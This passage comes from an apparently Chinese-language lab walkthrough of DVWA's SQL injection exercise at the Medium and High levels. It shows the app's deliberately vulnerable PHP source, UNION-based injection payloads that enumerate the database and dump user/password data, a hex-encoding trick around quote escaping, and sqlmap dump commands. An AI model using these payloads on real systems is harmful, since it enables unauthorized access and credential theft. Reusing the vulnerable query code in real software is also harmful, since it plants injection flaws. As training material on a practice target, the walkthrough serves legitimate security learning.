</span></span><span class="line"><span class="cl">	$result = mysqli_query($GLOBALS[&#34;___mysqli_ston&#34;],  $query ) or die( &#39;&lt;pre&gt;&#39; . ((is_object($GLOBALS[&#34;___mysqli_ston&#34;])) ? mysqli_error($GLOBALS[&#34;___mysqli_ston&#34;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &#39;&lt;/pre&gt;&#39; );
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	// Get results
</span></span><span class="line"><span class="cl">	while( $row = mysqli_fetch_assoc( $result ) ) {
</span></span><span class="line"><span class="cl">		// Get values
</span></span><span class="line"><span class="cl">		$first = $row[&#34;first_name&#34;];
</span></span><span class="line"><span class="cl">		$last  = $row[&#34;last_name&#34;];
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		// Feedback for end user
</span></span><span class="line"><span class="cl">		$html .= &#34;&lt;pre&gt;ID: {$id}&lt;br /&gt;First name: {$first}&lt;br /&gt;Surname: {$last}&lt;/pre&gt;&#34;;
</span></span><span class="line"><span class="cl">	}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	mysqli_close($GLOBALS[&#34;___mysqli_ston&#34;]);
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">?&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;?php
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">// 检查是否有&#34;Submit&#34;按钮被点击
</span></span><span class="line"><span class="cl">if( isset( $_REQUEST[ &#39;Submit&#39; ] ) ) {
</span></span><span class="line"><span class="cl">        // 获取用户输入的ID
</span></span><span class="line"><span class="cl">        $id = $_REQUEST[ &#39;id&#39; ];
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        // 构建SQL查询语句
</span></span><span class="line"><span class="cl">        $query  = &#34;SELECT first_name, last_name FROM users WHERE user_id = &#39;$id&#39;;&#34;;
</span></span><span class="line"><span class="cl">        // 执行SQL查询
</span></span><span class="line"><span class="cl">        $result = mysqli_query($GLOBALS[&#34;___mysqli_ston&#34;],  $query ) or die( &#39;&lt;pre&gt;&#39; . ((is_object($GLOBALS[&#34;___mysqli_ston&#34;])) ? mysqli_error($GLOBALS[&#34;___mysqli_ston&#34;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &#39;&lt;/pre&gt;&#39; );
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">        // 处理查询结果
</span></span><span class="line"><span class="cl">        while( $row = mysqli_fetch_assoc( $result ) ) {
</span></span><span class="line"><span class="cl">                // 获取查询结果中的名字和姓氏
</span></span><span class="line"><span class="cl">                $first = $row[&#34;first_name&#34;];
</span></span><span class="line"><span class="cl">                $last  = $row[&#34;last_name&#34;];
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">                // 拼接输出结果
</span></span><span class="line"><span class="cl">                $html .= &#34;&lt;pre&gt;ID: {$id}&lt;br /&gt;First name: {$first}&lt;br /&gt;Surname: {$last}&lt;/pre&gt;&#34;;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">        // 关闭数据库连接
</span></span><span class="line"><span class="cl">        mysqli_close($GLOBALS[&#34;___mysqli_ston&#34;]);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">?&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="medium">Medium</h3>
<p>1、修改电脑代理服务器IP设置为127.0.0.1，端口设置为8888，Bur调整代理参数与电脑代理一致</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735710.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735710.png" 
             alt="image-20240412094734133" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735711.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735711.png" 
             alt="image-20240412095237028" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735712.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735712.png" 
             alt="image-20240412094536046" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、在DVWA中尝试提交一个ID，在BurpSuite的repeater中查看捕获到的提交信息。使用BurpSuite的repeater模块可以重复发送数据，查看返回数据。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735713.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735713.png" 
             alt="image-20240412095327893" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735714.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735714.png" 
             alt="image-20240412095418437" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735715.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735715.png" 
             alt="image-20240412095516476" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735716.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735716.png" 
             alt="image-20240412095727503" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、确认列数</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4 order by 1#
</span></span><span class="line"><span class="cl">4 order by 2#
</span></span><span class="line"><span class="cl">4 order by 3#
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735717.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735717.png" 
             alt="image-20240412095859327" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735718.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735718.png" 
             alt="image-20240412095934153" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>4、库、表、字段、值</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4 union select 1,database()#
</span></span><span class="line"><span class="cl">//得到库名
</span></span><span class="line"><span class="cl">4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
</span></span><span class="line"><span class="cl">//得到表名
</span></span><span class="line"><span class="cl">4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#
</span></span><span class="line"><span class="cl">//得到字段
</span></span><span class="line"><span class="cl">4 union select user,password from users#
</span></span><span class="line"><span class="cl">//得到值
</span></span></code></pre></td></tr></table>
</div>
</div><p>提取库名</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4 union select 1,database()#
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735719.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735719.png" 
             alt="image-20240412101400469" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>提取表名</p>
<p>注入语句发现单引号被转义，使用BurpSuite的Decoder模块，将 <code>'dvwa'</code> 转为16进制，自行添加 <code>0x</code></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4 union select 1,table_name from information_schema.tables where table_schema=&#39;dvwa&#39;#
</span></span><span class="line"><span class="cl">4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735720.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735720.png" 
             alt="image-20240412101948084" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735721.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735721.png" 
             alt="image-20240412102504354" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735722.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735722.png" 
             alt="image-20240412102654211" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>提取字段名</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735723.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735723.png" 
             alt="image-20240412102804247" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>提取user、password的值</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4 union select user,password from users#
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735724.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735724.png" 
             alt="image-20240412102914074" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>SQLmap工具使用</p>
<p>将第一步抓到的数据保存在桌面，命名为1.txt文件</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735725.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735725.png" 
             alt="image-20240603112004596" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>使用 <code>-r</code> 参数指定文件路径。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -r C:\Users\yuexuan\Desktop\1.txt  --cookie &#34;PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium&#34; --batch --dbs
</span></span><span class="line"><span class="cl">// -r REQUESTFILE      从文件中读取 HTTP 请求
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735726.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735726.png" 
             alt="image-20240603101812626" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>操作步骤与前面一致，最后得到user、password数据</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -r C:\Users\yuexuan\Desktop\1.txt  --cookie &#34;PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium&#34; --batch -D dvwa -T users -C user,password --dump
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735727.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735727.png" 
             alt="image-20240603102226671" 
              
             loading="lazy"
        />
    </a>
</div></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;Submit&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;id&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nv">$id</span> <span class="o">=</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span> <span class="nv">$id</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//ysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
</span></span></span><span class="line"><span class="cl">    <span class="c1">//在以下字符前添加反斜线：\x00、\n、\r、\、&#39;、&#34; 和 \x1a.
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nv">$query</span>  <span class="o">=</span> <span class="s2">&#34;SELECT first_name, last_name FROM users WHERE user_id = </span><span class="si">$id</span><span class="s2">;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$result</span> <span class="o">=</span> <span class="nx">mysqli_query</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span> <span class="nv">$query</span><span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span> <span class="s1">&#39;&lt;pre&gt;&#39;</span> <span class="o">.</span> <span class="nx">mysqli_error</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">.</span> <span class="s1">&#39;&lt;/pre&gt;&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Get results
</span></span></span><span class="line"><span class="cl">	<span class="k">while</span><span class="p">(</span> <span class="nv">$row</span> <span class="o">=</span> <span class="nx">mysqli_fetch_assoc</span><span class="p">(</span> <span class="nv">$result</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// Display values
</span></span></span><span class="line"><span class="cl">		<span class="nv">$first</span> <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span><span class="s2">&#34;first_name&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">		<span class="nv">$last</span>  <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span><span class="s2">&#34;last_name&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c1">// Feedback for end user
</span></span></span><span class="line"><span class="cl">		<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;ID: </span><span class="si">{</span><span class="nv">$id</span><span class="si">}</span><span class="s2">&lt;br /&gt;First name: </span><span class="si">{</span><span class="nv">$first</span><span class="si">}</span><span class="s2">&lt;br /&gt;Surname: </span><span class="si">{</span><span class="nv">$last</span><span class="si">}</span><span class="s2">&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// This is used later on in the index.php page
</span></span></span><span class="line"><span class="cl"><span class="c1">// Setting it here so we can close the database connection in here like in the rest of the source scripts
</span></span></span><span class="line"><span class="cl"><span class="nv">$query</span>  <span class="o">=</span> <span class="s2">&#34;SELECT COUNT(*) FROM users;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$result</span> <span class="o">=</span> <span class="nx">mysqli_query</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$query</span> <span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span> <span class="s1">&#39;&lt;pre&gt;&#39;</span> <span class="o">.</span> <span class="p">((</span><span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_error</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">:</span> <span class="p">((</span><span class="nv">$___mysqli_res</span> <span class="o">=</span> <span class="nx">mysqli_connect_error</span><span class="p">())</span> <span class="o">?</span> <span class="nv">$___mysqli_res</span> <span class="o">:</span> <span class="k">false</span><span class="p">))</span> <span class="o">.</span> <span class="s1">&#39;&lt;/pre&gt;&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$number_of_rows</span> <span class="o">=</span> <span class="nx">mysqli_fetch_row</span><span class="p">(</span> <span class="nv">$result</span> <span class="p">)[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">mysqli_close</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div><h3 id="high">High</h3>
<p>1、点击链接弹出小窗，提交1，使用BurpSuite抓包。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735728.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735728.png" 
             alt="image-20240603092627559" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735729.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735729.png" 
             alt="image-20240603092835322" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>尝试放包，回显信息出现在原页面</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735730.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735730.png" 
             alt="image-20240603093053482" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、注入方式与Low、Medium级别一致，最后得到user、password数据</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">1&#39; union select user,password from users#
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735731.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735731.png" 
             alt="image-20240603093607403" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>SQLmap工具使用</p>
<p>因为提交数据与回显数据的页面不同，所以需要添加第二个回显地址。将第一步抓到的数据保存在桌面，命名为1.txt文件，使用 <code>-r</code> 参数指定文件路径。 <code>--second-url</code> 参数指定会先页面URL。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url &#34;http://dvwa/vulnerabilities/sqli/&#34; --cookie &#34;PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high&#34; --batch --dbs
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735732.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735732.png" 
             alt="image-20240603100335290" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>操作步骤与前面一致，最后得到user、password数据</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url &#34;http://dvwa/vulnerabilities/sqli/&#34; --cookie &#34;PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high&#34; --batch -D dvwa -T users -C user,password --dump
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735733.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735733.png" 
             alt="image-20240603101120077" 
              
             loading="lazy"
        />
    </a>
</div></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_SESSION</span> <span class="p">[</span> <span class="s1">&#39;id&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_SESSION</span><span class="p">[</span> <span class="s1">&#39;id&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Check database
</span></span></span><span class="line"><span class="cl">	<span class="nv">$query</span>  <span class="o">=</span> <span class="s2">&#34;SELECT first_name, last_name FROM users WHERE user_id = &#39;</span><span class="si">$id</span><span class="s2">&#39; LIMIT 1;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$result</span> <span class="o">=</span> <span class="nx">mysqli_query</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span> <span class="nv">$query</span> <span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span> <span class="s1">&#39;&lt;pre&gt;Something went wrong.&lt;/pre&gt;&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Get results
</span></span></span><span class="line"><span class="cl">	<span class="k">while</span><span class="p">(</span> <span class="nv">$row</span> <span class="o">=</span> <span class="nx">mysqli_fetch_assoc</span><span class="p">(</span> <span class="nv">$result</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="c1">// Get values
</span></span></span><span class="line"><span class="cl">		<span class="nv">$first</span> <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span><span class="s2">&#34;first_name&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">		<span class="nv">$last</span>  <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span><span class="s2">&#34;last_name&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="c1">// Feedback for end user
</span></span></span><span class="line"><span class="cl">		<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;ID: </span><span class="si">{</span><span class="nv">$id</span><span class="si">}</span><span class="s2">&lt;br /&gt;First name: </span><span class="si">{</span><span class="nv">$first</span><span class="si">}</span><span class="s2">&lt;br /&gt;Surname: </span><span class="si">{</span><span class="nv">$last</span><span class="si">}</span><span class="s2">&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="p">((</span><span class="nx">is_null</span><span class="p">(</span><span class="nv">$___mysqli_res</span> <span class="o">=</span> <span class="nx">mysqli_close</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])))</span> <span class="o">?</span> <span class="k">false</span> <span class="o">:</span> <span class="nv">$___mysqli_res</span><span class="p">);</span>		
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
